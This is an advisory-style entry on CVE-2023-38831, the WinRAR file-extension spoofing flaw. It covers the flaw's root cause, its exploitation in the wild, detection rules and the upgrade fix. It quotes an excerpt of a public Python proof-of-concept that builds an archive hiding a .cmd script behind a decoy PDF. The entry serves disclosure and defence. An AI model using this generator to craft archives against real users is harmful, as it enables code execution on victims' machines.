WinRAR File Extension Spoofing RCE

Product: RARLAB WinRAR
CVE: CVE-2023-38831
Disclosed: 2023-08-23
CVSS: 7.8
Auth: pre-auth
CISA KEV: yes
Affected: WinRAR before 6.23.
Fixed: WinRAR 6.23 (released 2023-08-02).

Summary

Group-IB found traders being targeted with ZIP archives that ran malware when a victim double-clicked what looked like a harmless JPG or PDF inside. The bug was exploited as a zero-day from April 2023 and later by APT28, Sandworm and others.

Root cause

When a user opens a file from within an archive, WinRAR extracts matching entries to a temp directory using a name comparison that ignores a trailing space. If the archive contains a file 'doc.pdf ' and a folder 'doc.pdf ' holding 'doc.pdf .cmd', both are extracted, and ShellExecute on the path with the trailing space resolves to the .cmd script instead of the decoy.

Impact

Arbitrary code execution as the user when they open a benign-looking file in a crafted archive.

Public PoC

# usage: python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar
# (output is a ZIP; double-clicking the PDF in WinRAR <= 6.22 runs script.bat)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    # folder, script and bait all end up named '<bait>.pdf ' (trailing space)
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

Source: b1tg - CVE-2023-38831-winrar-exploit

Detection

Check WinRAR versions in software inventory; detect archives containing a file and same-named directory with trailing spaces; EDR alerts on cmd.exe/powershell spawned by WinRAR.exe from %TEMP%\Rar$*.

Mitigation

Upgrade WinRAR to 6.23 or later (current 7.x).